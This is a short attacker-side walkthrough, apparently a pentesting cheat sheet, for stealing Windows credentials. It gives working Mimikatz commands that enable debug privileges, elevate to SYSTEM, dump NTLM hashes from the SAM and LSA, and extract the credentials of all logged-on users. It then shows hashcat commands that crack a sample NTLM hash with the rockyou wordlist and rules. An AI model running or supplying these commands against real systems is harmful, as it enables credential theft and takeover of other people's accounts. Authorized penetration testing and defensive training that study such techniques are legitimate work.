PREREQUISITES:¶
- The attacker must have an account or a shell on the target server.
- The attacker requires administrative privileges.
EXTRACTING NTLM HASHES WITH MIMIKATZ¶
-
To check which users exist locally on the system, run:
Get-LocalUser
-
Navigate to the Mimikatz directory and start Mimikatz with:
.\mimikatz.exe
NOTE
Administrative privileges are required.
-
Enable the debug privilege using:
privilege::debug
-
Elevate privileges to SYSTEM using:
token::elevate
-
Extract NTLM hashes from the SAM database:
lsadump::sam
lsadump::lsa /patch
-
Dump Credentials of All Logged-On Users:
sekurlsa::logonpasswords
NOTE
This command will dump hashes for all users logged on to the current workstation or server, including remote logins like Remote Desktop sessions.
CRACKING NTLM HASHES WITH HASHCAT¶
-
Save the NTLM hash to a file (e.g.,
NTLM.hash
) using:
echo "3ae8e5f0ffabb3a627672e1600f1ba10" > NTLM.hash
-
Identify the Correct Hashcat Mode for NTLM:
hashcat --help | grep -i "ntlm"
NOTE: The output should indicate mode1000
for NTLM. -
Start the Cracking Process with Hashcat:
hashcat -m 1000 NTLM.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force